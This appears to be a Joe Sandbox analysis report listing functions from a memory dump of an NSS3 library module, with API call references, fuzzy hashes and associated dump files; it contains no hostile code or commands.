Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: f666c94be5c109f42371a0b5bcbce9ab99181eeebdc84449249e2d7ace13b73f
Instruction ID: 14585d2d6658873c0ab66e7c095eaeb9a73245a64c6b6e554885fe781a6e109e
Opcode Fuzzy Hash: f666c94be5c109f42371a0b5bcbce9ab99181eeebdc84449249e2d7ace13b73f
Instruction Fuzzy Hash: CB31F7A0B43351ABFB021E359C48F6637E8AF0634AF240530ED57E6A81E7B1D915C2BD

Function 6C686CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C751DE0,?), ref: 6C686CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C686D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C686D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C686D82
DER_GetInteger_Util.NSS3(?), ref: 6C686DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C686DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C686E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C686F19
PK11_DigestBegin.NSS3(00000000), ref: 6C686F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C686F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C687011
PK11_FreeSymKey.NSS3(00000000), ref: 6C687033
free.MOZGLUE(?), ref: 6C68703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C687060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C687087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C6870AF

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 96f98476d5492631d9f12b440076a15edb5f0a55b00dbf70a075a06682912325
Instruction ID: ea59b9599ab6afc75b344be22afe24717e899c52dcf4b90beb73137d1532085b
Opcode Fuzzy Hash: 96f98476d5492631d9f12b440076a15edb5f0a55b00dbf70a075a06682912325
Instruction Fuzzy Hash: 3AA109B192A2009BEB108F24DC45B9B72A5DB8130CF248939F919DBB81E775D849C77F

Function 6C64AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF39
PR_Unlock.NSS3(?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64AF69
TlsGetValue.KERNEL32 ref: 6C64B06B
EnterCriticalSection.KERNEL32(?), ref: 6C64B083
PR_Unlock.NSS3(?), ref: 6C64B0A4
TlsGetValue.KERNEL32 ref: 6C64B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C64B0D9
PR_Unlock.NSS3 ref: 6C64B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64B182

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C64B177

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C62AB95,00000000,?,00000000,00000000,00000000), ref: 6C64B1C2

Part of subcall function 6C671560: TlsGetValue.KERNEL32(00000000,?,6C640844,?), ref: 6C67157A
Part of subcall function 6C671560: EnterCriticalSection.KERNEL32(?,?,?,6C640844,?), ref: 6C67158F
Part of subcall function 6C671560: PR_Unlock.NSS3(?,?,?,?,6C640844,?), ref: 6C6715B2

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: e799343156d4b10680e1b6f1cd45374a375df01cce5288485b364b521631fd4a
Instruction ID: db436d13ac21138d38988e42ffdeb74c3fdf386158d1a3ff69949971256dfde0
Opcode Fuzzy Hash: e799343156d4b10680e1b6f1cd45374a375df01cce5288485b364b521631fd4a
Instruction Fuzzy Hash: 29A1D1B1E00205EBEF019F64DC41AEE77B4EF4A309F148035E909A7712E731E959CBA9

Function 6C642C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?dl,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C62
EnterCriticalSection.KERNEL32(0000001C,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C76
PL_HashTableLookup.NSS3(00000000,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642C93

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23,?), ref: 6C642CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?,?,6C643F23), ref: 6C642CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?), ref: 6C642CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C63E477,?,?,?,00000001,00000000,?), ref: 6C642D4D
EnterCriticalSection.KERNEL32(?), ref: 6C642D61
PL_HashTableLookup.NSS3(?,?), ref: 6C642D71
PR_Unlock.NSS3(?), ref: 6C642D7E

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

#?dl, xrefs: 6C642C43

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?dl
API String ID: 2446853827-4183948977
Opcode ID: 96028d91d0dbf7a6255069715693b6281b11372be9adf9a8c760416a1ad23697
Instruction ID: 1476a42aebf487dbfd45da662114047c5f650adf7e9545efac009f568f554e8f
Opcode Fuzzy Hash: 96028d91d0dbf7a6255069715693b6281b11372be9adf9a8c760416a1ad23697
Instruction Fuzzy Hash: 7E5103B6D00214ABDB019F24DC449AAB7B8FF0A349B14C570ED18D7B11EB31E964CBE9

Function 6C69AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69ADB1

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C69ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C69AE08

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C69AE25
PL_FreeArenaPool.NSS3 ref: 6C69AE63
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C69AE4D

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69AE93
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C69AECC
PL_FreeArenaPool.NSS3 ref: 6C69AEDE
PL_FinishArenaPool.NSS3 ref: 6C69AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69AEF5
PL_FinishArenaPool.NSS3 ref: 6C69AF16

Strings

security, xrefs: 6C69ADEE

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: c34e4f54c95a379de8dbdf984c56f4433f06da5183030f1b864d6e52dfbf823f
Instruction ID: 1a5c81b02071cf1d5ac1bab5a500f98333ee4a25f86a97a66cf371ae2b649e58
Opcode Fuzzy Hash: c34e4f54c95a379de8dbdf984c56f4433f06da5183030f1b864d6e52dfbf823f
Instruction Fuzzy Hash: 714128B1C05311A7EB214A259C44BBF32E4AF4231CF200525E91592B43FB39DA0AC6EF

Function 6C73AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E9890: TlsGetValue.KERNEL32(?,?,?,6C6E97EB), ref: 6C6E989E

EnterCriticalSection.KERNEL32(?), ref: 6C73AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C73AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C73AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C73AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C73B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B070
PR_JoinThread.NSS3(?), ref: 6C73B07B
free.MOZGLUE(?), ref: 6C73B084
EnterCriticalSection.KERNEL32(?), ref: 6C73B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C73B0C4
PR_JoinThread.NSS3(?), ref: 6C73B0F3
free.MOZGLUE(?), ref: 6C73B0FC
PR_JoinThread.NSS3(?), ref: 6C73B137
free.MOZGLUE(?), ref: 6C73B140

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 425b32894f432776b37063f0e4958161acd19f38e120eb553e331e49c04ffa65
Instruction ID: 264ef25e6b1655ae0746985c03d917b1b5bad556ee434edc104dc35ee355ba55
Opcode Fuzzy Hash: 425b32894f432776b37063f0e4958161acd19f38e120eb553e331e49c04ffa65
Instruction Fuzzy Hash: 47918CB6901A11CFCB00DF14C98489ABBF1FF4935872985A9D81D5BB22E732FC46CB94

Function 6C6B5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2BF0
Part of subcall function 6C6B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C07
Part of subcall function 6C6B2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C1E
Part of subcall function 6C6B2BE0: free.MOZGLUE(?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B2C4A

free.MOZGLUE(?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D0F
free.MOZGLUE(?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D4E
free.MOZGLUE(?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D62
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D85
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5D99
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E3E
free.MOZGLUE(?,?,?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E47
free.MOZGLUE(?,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C6BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C6B5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6BAAD4), ref: 6C6B5F4B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: e2c39e91c28d2ae9d9dbdfcaf2a76877b57918de2b2b5ac64723033fc56fa2dc
Instruction ID: cf9b1ae4791eb5d67b08cb61a5292a6fc55d4b13eb1629a12c526b3a365f566e
Opcode Fuzzy Hash: e2c39e91c28d2ae9d9dbdfcaf2a76877b57918de2b2b5ac64723033fc56fa2dc
Instruction Fuzzy Hash: 90719EB4A00B009FD701CF24D884A92B7F5BF89309F148539E81E97711E731F966CB99

Function 6C638DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C638E22
EnterCriticalSection.KERNEL32(?), ref: 6C638E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C638E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C638E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C638E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C638EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C638EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C638EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F00
free.MOZGLUE(?), ref: 6C638F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C638F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C638F5B
PR_Unlock.NSS3(?), ref: 6C638F72
PR_Unlock.NSS3(?), ref: 6C638F82

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 70d930334654d2f7ba8456b9ecd3bbfb2adf43a43f5d0e574fea9cc67625bbb7
Instruction ID: 33facaef7561eb2c3cf3e91fa7663e21a3b6a049016f22caab9538ac9cde4d46
Opcode Fuzzy Hash: 70d930334654d2f7ba8456b9ecd3bbfb2adf43a43f5d0e574fea9cc67625bbb7
Instruction Fuzzy Hash: A7513BB2D002259FD7018F68CC489EAB7B9EF49358B15612AEC0CDB750E731ED4587E5

Function 6C65CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C65CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C65CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C65CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C65CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C65CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C65CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C65CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C65CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C65CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C65CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C65CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C65CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C65CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C65D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C65D021

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: f8d20d25007896cc86543a373047009de510c35fdce81cd7189d48ef27d1e9ea
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 7C317671B6291027EF2D145A6D21FDF154A8B6730EF940438F90AE67C0FA859B6702FD

Function 6C730FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C731000

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C731016

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_Unlock.NSS3(?), ref: 6C731021

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C731046
PR_Unlock.NSS3(?), ref: 6C73106B
PR_Lock.NSS3 ref: 6C731079
PR_Unlock.NSS3 ref: 6C731096
free.MOZGLUE(?), ref: 6C7310A7
free.MOZGLUE(?), ref: 6C7310B4
PR_DestroyCondVar.NSS3(?), ref: 6C7310BF
PR_DestroyCondVar.NSS3(?), ref: 6C7310CA
PR_DestroyCondVar.NSS3(?), ref: 6C7310D5
PR_DestroyCondVar.NSS3(?), ref: 6C7310E0
PR_DestroyLock.NSS3(?), ref: 6C7310EB
free.MOZGLUE(?), ref: 6C731105

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: c386843dbbc04251b32777554c15384e4f67faff9e9fc42e19f31c6f8d0c615a
Instruction ID: 87caedbcce4edfb26fccdbfc318df2eae2b74a261916b8256b88e07b0d647835
Opcode Fuzzy Hash: c386843dbbc04251b32777554c15384e4f67faff9e9fc42e19f31c6f8d0c615a
Instruction Fuzzy Hash: B9318AF5E05411ABDB01AF14ED41A85B7B1FF06319B184131E80902F62E732F978DBDA

Function 6C5ADC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5ADD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C5ADD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5ADE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C5ADEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5ADECD

Strings

